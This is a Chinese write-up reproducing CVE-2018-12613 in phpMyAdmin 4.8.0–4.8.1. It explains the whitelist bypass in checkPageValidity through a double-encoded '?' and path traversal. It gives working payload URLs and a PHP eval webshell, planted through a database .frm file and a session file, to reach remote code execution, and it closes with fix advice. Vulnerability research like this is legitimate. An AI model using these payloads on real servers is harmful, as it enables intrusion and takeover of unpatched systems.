天天看点

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x01 了解本地文件包含

LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

0x02 了解远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

0x03 漏洞影响版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

0x04 了解PHPmyadmin

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。

0x05 漏洞起因

index.php,61行

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

这里的

target

可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。

要想成功包含

target

,需要满足五个条件:

  • 非空
  • 是字符串
  • 不以

    index

    开头
  • 不在黑名单

    target_blacklist

  • 符合函数

    checkPageValidity

    的验证

    接下来跟进

    checkPageValidity

    函数

    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行

    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    可以看到,要想使该函数返回

    true

    ,包含的文件必须包含在白名单

    $whitelist

    中,

    下面是白名单

    $whitelist

    的内容:

    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行

    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

    所以只要包含其中之一即可。

    第一个返回

    true

    的地方,

    page

    参数未做任何修饰,直接验证是否在白名单

    whitelist

    中,无法利用
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    第二个返回

    true

    的地方,
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    函数mb_substr说明
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    函数mb_strpos说明
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    即判断

    ?

    后面的字符串是否满足白名单,那么我们是否可以利用跨路径来包含文件呢?比如

    xxx.php?/../../../

    ,(这里的

    xxx.php

    当然指的就是上面提到的白名单

    $whitelist

    的内容),回答是不能的,因为在PHP中会把

    ?

    后面的内容作为文件

    xxx.php

    中的参数,因此不能绕过。

    第三个返回

    true

    的地方,
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    与第二处的区别就是多了

    urldecode

    函数,问题就出在这里了。

    上面提到的导致不能绕过白名单的原因就是

    的缘故,所以这里用url全编码方式对

    进行编码就可以绕过。

    payload:

    http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini

    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

    include $_REQUEST[‘target’];

    就变成

    include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用数据库创建shell

测试发现,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的。

登录phpmyadmin,在test数据库新建一个数据表,字段为一句话木马:

<?php @eval($_GET['s']);?>
           

保存。

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

查询生成文件的绝对路径

show variables like '%datadir%';

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

查看生成的

.frm

文件,shell已经成功写入

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

利用本地文件包含去包含

/bin/mysql/data/test/shell.frm

文件即可RCE。

payload:

http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm

s

为一句话木马的连接密码,

可以看到,RCE已经成功。

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x02 利用session文件创建shell

执行sql语句,查看session

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

生成的session文件

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

执行payload:

http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k

,成功执行

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x07 修复建议

  1. 升级版本;
  2. checkPageValidity

    函数返回

    false

    index.php,59
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x08 参考文章

  1. https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
  2. http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614

继续阅读